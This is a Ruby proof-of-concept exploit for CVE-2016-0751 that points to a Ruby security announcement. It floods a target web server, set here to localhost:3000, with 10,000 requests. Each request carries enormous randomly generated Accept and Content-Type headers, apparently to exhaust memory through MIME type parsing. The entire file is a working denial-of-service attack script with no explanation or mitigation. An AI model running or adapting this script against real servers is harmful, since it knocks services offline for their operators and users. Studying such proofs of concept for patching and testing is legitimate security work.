[PoC] CVE-2016-0751

CVE-2016-0751.rb

# https://groups.google.com/forum/#!topic/ruby-security-ann/9oLY_FCzvoc

require 'uri'
require 'net/http'
require 'securerandom'

uri = URI("http://localhost:3000/") # Target

10000.times do |i|
  http = Net::HTTP.new(uri.host, uri.port)
  path = uri.path.empty? ? "/" : uri.path

  evil_type_string = "#{SecureRandom.hex*1000}/#{SecureRandom.hex*1000}; evil_param=#{SecureRandom.hex*1000}"

  evil_accepts = []
  100.times { evil_accepts << "#{SecureRandom.hex*1000}/#{SecureRandom.hex*1000}" }

  headers = { 'Accept' => evil_accepts.join(", "), 'Content-Type' => evil_type_string }
  http.get(path, headers)

  puts i
end